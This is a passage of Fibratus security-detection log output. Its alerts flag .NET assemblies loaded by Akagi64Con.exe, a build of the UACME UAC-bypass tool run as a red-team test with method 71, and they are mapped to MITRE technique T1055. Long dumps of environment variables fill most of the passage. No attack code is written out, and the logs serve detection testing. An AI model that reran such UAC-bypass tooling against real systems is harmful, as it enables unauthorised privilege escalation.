Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022579 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9007092 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbExp\8b2a3af269c610b844ba46cb104b151d\TlbExp.ni.exe, image_size➜ 118784, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 9665569474375319552 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022604 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.907038 +0100 CET + Params: base_address➜ 7ffcbbcb0000, checksum➜ 0, default_address➜ 7ffcbbcb0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022604 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.907038 +0100 CET + Params: base_address➜ 7ffcbbcb0000, checksum➜ 0, default_address➜ 7ffcbbcb0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.seq.link: 9665569474375319552, tactic.name: Defense Evasion, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows 